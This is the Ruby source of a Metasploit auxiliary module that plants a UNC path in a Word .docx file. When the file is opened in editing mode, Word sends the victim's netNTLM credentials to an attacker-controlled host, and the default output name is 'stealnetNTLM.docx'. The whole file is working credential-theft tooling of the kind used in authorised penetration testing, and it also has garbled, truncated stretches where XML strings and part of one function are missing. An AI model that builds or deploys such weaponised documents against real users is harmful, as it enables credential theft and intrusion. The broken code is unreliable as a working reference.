## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://Metasploit.com/projects/Framework/ ## require 'msf/core' require 'zip/zip' #for extracting files require 'rex/zip' #for creating files class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Word UNC Path Injector', 'Description' => %q{ This module modifies a .docx file that will, upon opening, submit all stored netNTLM credentials to a remote host. It can also create an empty docx file. If emailed the receiver needs to put the document in editing mode before the remote server will be contacted. Preview and read-only mode do not work. Verified to work with Microsoft Word 2003, 2007 and 2010 as of Januari 2013 date by using auxiliary/server/capture/smb }, 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://jedicorp.com/?p=534' ], ], 'Author' => [ 'SphaZ ' ] )) register_options( [ OptAddress.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.','']), OptString.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document', '']), OptString.new('FILENAME', [true, 'Document output filename.', 'stealnetNTLM.docx']), OptString.new('DOCAUTHOR',[false,'Document author for empty document.', 'SphaZ']), ], self.class) end #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty def makeNewFile metadataFileData = "" metadataFileData << "" metadataFileData << "#{datastore['DOCAUTHOR']}#{datastore['DOCAUTHOR']}" metadataFileData << "1" metadataFileData << "2013-01-08T14:14:00Z" metadataFileData << "2013-01-08T14:14:00Z" #where to find the skeleton files required for creating an empty document dataDir = File.join(Msf::Config.install_root, "data", "exploits", "docx") tmpDir = "#{Dir.tmpdir}/unc_tmp" #setup temporary directory structure begin cleanupTmp(tmpDir) FileUtils.mkdir_p("#{tmpDir}/docProps/") FileUtils.mkdir_p("#{tmpDir}/word/_rels/") rescue print_error("Error generating temp directory structure.") return nil end #here we store our on-the-fly created files begin f = File.open("#{tmpDir}/docProps/core.xml", 'wb') f.write(metadataFileData) f.close() f = File.open("#{tmpDir}/word/_rels/settings.xml.rels", 'wb') f.write(@relsFileData) f.close() rescue print_error("Cant write to temp file.") cleanupTmp(tmpDir) return nil end #making the actual docx begin docx = Rex::Zip::Archive.new #add skeleton files vprint_status("Adding skeleton files from #{dataDir}") Dir["#{dataDir}/**/**"].each do |file| if not File.directory?(file) docx.add_file(file.sub(dataDir,''), File.read(file)) end end #add on-the-fly created documents vprint_status("Adding injected files") Dir["#{Dir.tmpdir}/unc_tmp/**/**"].each do |file| if not File.directory?(file) docx.add_file(file.sub("#{Dir.tmpdir}/unc_tmp/",''), File.read(file)) end end #add the otherwise skipped "hidden" file file = "#{dataDir}/_rels/.rels" docx.add_file(file.sub(dataDir,''), File.read(file)) file_create(docx.pack) rescue print_error("Error creating empty document #{datastore['FILENAME']}") cleanupTmp(tmpDir) return nil end cleanupTmp(tmpDir) return 0 end #cleaning up of temporary files. If it fails we say so, but continue anyway def cleanupTmp(dir) begin FileUtils.rm_rf(dir) rescue print_error("Error cleaning up tmp directory structure.") end end #here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulateFile #where do we unpack our source file? tmpDir = "#{Dir.tmpdir}/#{Time.now.to_i}#{rand(1000)}/" ref = "" if File.exists?(datastore['SOURCE']) if not File.stat(datastore['SOURCE']).readable? print_error("Not enough rights to read the file. Aborting.") return nil end #lets extract our docx if unzipDocx(tmpDir).nil? return nil end fileContent = File.read("#{tmpDir}/word/settings.xml") if not fileContent.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") #we put just our rels file into the docx if updateDocxFile(tmpDir,"word/_rels/settings.xml.rels", @relsFileData).nil? return nil end # lets zip the end result if zipDocx(tmpDir).nil? return nil end else #now insert the reference to the file that will enable our malicious entry insertOne = fileContent.index(" ex print_error("Well, extracting and manipulating the file went wrong :(") cleanupTmp(tmpDir) return nil end return 0 end def run #we need this in makeNewFile and manipulateFile @relsFileData = "" @relsFileData << "".chomp @relsFileData << "".chomp @relsFileData << "" if "#{datastore['SOURCE']}" == "" #make an empty file print_status("Creating empty document") if not makeNewFile.nil? print_good("Success! Empty document #{datastore['FILENAME']} created.") end else #extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") if not manipulateFile.nil? print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.") end end end end